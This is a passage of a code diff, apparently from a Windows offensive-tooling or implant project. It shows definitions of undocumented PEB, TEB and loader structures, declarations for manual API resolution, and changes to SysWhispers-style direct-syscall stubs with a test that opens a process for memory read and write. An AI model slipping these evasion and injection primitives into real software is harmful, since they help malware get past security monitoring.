ULONG Redirected : 1;
ULONG ReservedFlags6 : 2;
ULONG CompatDatabaseProcessed : 1;
};
};
USHORT ObsoleteLoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG TimeDateStamp;
struct _ACTIVATION_CONTEXT *EntryPointActivationContext;
PVOID Lock; // RtlAcquireSRWLockExclusive
PLDR_DDAG_NODE DdagNode;
LIST_ENTRY NodeModuleLink;
struct _LDRP_LOAD_CONTEXT *LoadContext;
PVOID ParentDllBase;
PVOID SwitchBackContext;
RTL_BALANCED_NODE BaseAddressIndexNode;
RTL_BALANCED_NODE MappingInfoIndexNode;
ULONG_PTR OriginalBase;
LARGE_INTEGER LoadTime;
ULONG BaseNameHashValue;
LDR_DLL_LOAD_REASON LoadReason;
ULONG ImplicitPathOptions;
ULONG ReferenceCount;
ULONG DependentLoadFlags;
UCHAR SigningLevel; // since REDSTONE2
ULONG CheckSum;
VOID* ActivePatchImageBase;
enum _LDR_HOT_PATCH_STATE HotPatchState;
} LDR_DATA_TABLE_ENTRY2, *PLDR_DATA_TABLE_ENTRY2;
typedef struct _PEB2
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA2 Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PSLIST_HEADER AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1; // REDSTONE5
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PAPI_SET_NAMESPACE ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData; // HotpatchInformation
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData; // PCPTABLEINFO
PVOID OemCodePageData; // PCPTABLEINFO
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
ULARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID *ProcessHeaps; // PHEAP
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
GDI_HANDLE_BUFFER GdiHandleBuffer;
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
UNICODE_STRING CSDVersion;
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
SIZE_T MinimumStackCommit;
PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex)
ULONG SpareUlongs[5]; // 19H1
//PVOID* FlsCallback;
//LIST_ENTRY FlsListHead;
//PVOID FlsBitmap;
//ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
//ULONG FlsHighIndex;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pUnused; // pContextData
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase;
PRTL_CRITICAL_SECTION TppWorkerpListLock;
LIST_ENTRY TppWorkerpList;
PVOID WaitOnAddressHashTable[128];
PVOID TelemetryCoverageHeader; // REDSTONE3
ULONG CloudFileFlags;
ULONG CloudFileDiagFlags; // REDSTONE4
CHAR PlaceholderCompatibilityMode;
CHAR PlaceholderCompatibilityModeReserved[7];
struct _LEAP_SECOND_DATA *LeapSecondData; // REDSTONE5
union
{
ULONG LeapSecondFlags;
struct
{
ULONG SixtySecondEnabled : 1;
ULONG Reserved : 31;
};
};
ULONG NtGlobalFlag2;
} PEB2, *PPEB2;
typedef struct _NT_TIB2
{
struct _EXCEPTION_REGISTRATION_RECORD* ExceptionList; //0x0
VOID* StackBase; //0x8
VOID* StackLimit; //0x10
VOID* SubSystemTib; //0x18
union
{
VOID* FiberData; //0x20
ULONG Version; //0x20
};
VOID* ArbitraryUserPointer; //0x28
struct _NT_TIB2* Self; //0x30
} NT_TIB2, *PNT_TIB2;
typedef struct _TEB2
{
struct _NT_TIB2 NtTib; //0x0
VOID* EnvironmentPointer; //0x38
struct _CLIENT_ID ClientId; //0x40
VOID* ActiveRpcHandle; //0x50
VOID* ThreadLocalStoragePointer; //0x58
struct _PEB* ProcessEnvironmentBlock; //0x60
ULONG LastErrorValue; //0x68
ULONG CountOfOwnedCriticalSections; //0x6c
VOID* CsrClientThread; //0x70
VOID* Win32ThreadInfo; //0x78
ULONG User32Reserved[26]; //0x80
ULONG UserReserved[5]; //0xe8
VOID* WOW32Reserved; //0x100
ULONG CurrentLocale; //0x108
ULONG FpSoftwareStatusRegister; //0x10c
VOID* ReservedForDebuggerInstrumentation[16]; //0x110
VOID* SystemReserved1[30]; //0x190
CHAR PlaceholderCompatibilityMode; //0x280
UCHAR PlaceholderHydrationAlwaysExplicit; //0x281
CHAR PlaceholderReserved[10]; //0x282
ULONG ProxiedProcessId; //0x28c
// ...
} TEB2, *PTEB2;
typedef struct _INVERTED_FUNCTION_TABLE_ENTRY
{
PVOID FunctionTable;
PVOID ImageBase;
ULONG SizeOfImage;
ULONG SizeOfTable;
} INVERTED_FUNCTION_TABLE_ENTRY, *PINVERTED_FUNCTION_TABLE_ENTRY;
typedef struct _INVERTED_FUNCTION_TABLE_KERNEL_MODE
{
ULONG CurrentSize;
ULONG MaximumSize;
volatile ULONG Epoch;
UCHAR Overflow;
struct _INVERTED_FUNCTION_TABLE_ENTRY TableEntry[256];
} INVERTED_FUNCTION_TABLE_KERNEL_MODE, *PINVERTED_FUNCTION_TABLE_KERNEL_MODE;
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
#ifdef _WIN64
#define PEB_OFFSET 0x60
#define READ_MEMLOC __readgsqword
#else
#define PEB_OFFSET 0x30
#define READ_MEMLOC __readfsdword
#endif
#define LDRP_IMAGE_DLL 0x00000004
#define LDRP_ENTRY_INSERTED 0x00008000
#define LDRP_ENTRY_PROCESSED 0x00004000
#define LDRP_DONT_CALL_FOR_THREADS 0x00040000
#define LDRP_PROCESS_ATTACH_CALLED 0x00080000
LPVOID xGetProcAddress(
IN LPVOID base,
IN PCHAR api_name,
IN DWORD ordinal);
LPVOID xGetLibAddress(
IN PCHAR search,
IN BOOL load,
OUT PBOOL loaded);
#endif
modules/ModuleCmd/syscall.hpp
+1 -1
View File
@@ -69,7 +69,7 @@ EXTERN_C NTSTATUS Sw3NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
IN CLIENT_ID* ClientId OPTIONAL);
EXTERN_C NTSTATUS Sw3NtCreateProcess(
modules/ModuleCmd/tests/testsSyscall.cpp
+1 -1
View File
@@ -95,7 +95,7 @@ int main()
CLIENT_ID pid;
pid.UniqueProcess = (HANDLE)dwPid;
pid.UniqueThread = 0;
status = Sw3NtOpenProcess_(&handle, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, &zoa, (PCLIENT_ID)&pid);
status = Sw3NtOpenProcess_(&handle, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, &zoa, (CLIENT_ID*)&pid);
if(status!=0)
{
std::cout << "Fail Sw3NtOpenProcess_" << std::endl;